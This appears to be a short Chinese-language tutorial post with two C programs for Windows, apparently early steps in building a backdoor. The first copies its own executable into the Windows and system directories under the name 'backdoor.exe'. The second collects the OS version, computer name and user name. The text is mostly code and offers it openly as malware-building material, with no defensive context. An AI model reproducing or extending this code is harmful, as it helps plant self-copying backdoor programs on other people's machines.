1.复制自身程序到windows目录和系统目录下:
1 #include <windows.h> 2 #include <stdio.h> 3 #include <string.h> 4 5 void CopySelf(); 6 7 int main(){ 8 CopySelf(); 9 return 0; 10 } 11 void CopySelf(){ 12 char szSelfName[MAX_PATH]={0}; 13 char szWindowsPath[MAX_PATH]={0}; 14 char szSystemPath[MAX_PATH]={0}; 15 16 GetModuleFileName(NULL,szSelfName,MAX_PATH); 17 GetWindowsDirectory(szWindowsPath,MAX_PATH); 18 GetSystemDirectory(szSystemPath,MAX_PATH); 19 20 strcat(szWindowsPath,"\\backdoor.exe"); 21 strcat(szSystemPath,"\\backdoor.exe"); 22 23 CopyFile(szSelfName,szWindowsPath,FALSE); 24 CopyFile(szSelfName,szSystemPath,FALSE); 25 }
2.获得系统的相关信息:
1 #include <windows.h> 2 #include <stdio.h> 3 4 void GetSysInfo(); 5 6 int main(){ 7 GetSysInfo(); 8 return 0; 9 } 10 void GetSysInfo(){ 11 char szComputerName[MAXBYTE]={0}; 12 char szUserName[MAXBYTE]={0}; 13 unsigned long nSize=MAXBYTE; 14 OSVERSIONINFO OsVer; 15 16 OsVer.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 17 GetVersionEx(&OsVer); 18 19 if(OsVer.dwPlatformId==VER_PLATFORM_WIN32_NT){ 20 if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==1) 21 printf("Windows XP %s \r\n",OsVer.szCSDVersion); 22 else if(OsVer.dwMajorVersion==5&&OsVer.dwMinorVersion==0) 23 printf("Windows 2K \r\n"); 24 }else{ 25 printf("Other System \r\n"); 26 } 27 28 GetComputerName(szComputerName,&nSize); 29 printf("Computer Name is %s \r\n",szComputerName); 30 31 nSize=MAXBYTE; 32 GetUserName(szUserName,&nSize); 33 printf("User Name is %s \r\n",szUserName); 34 }
时间: 2024-10-27 03:27:20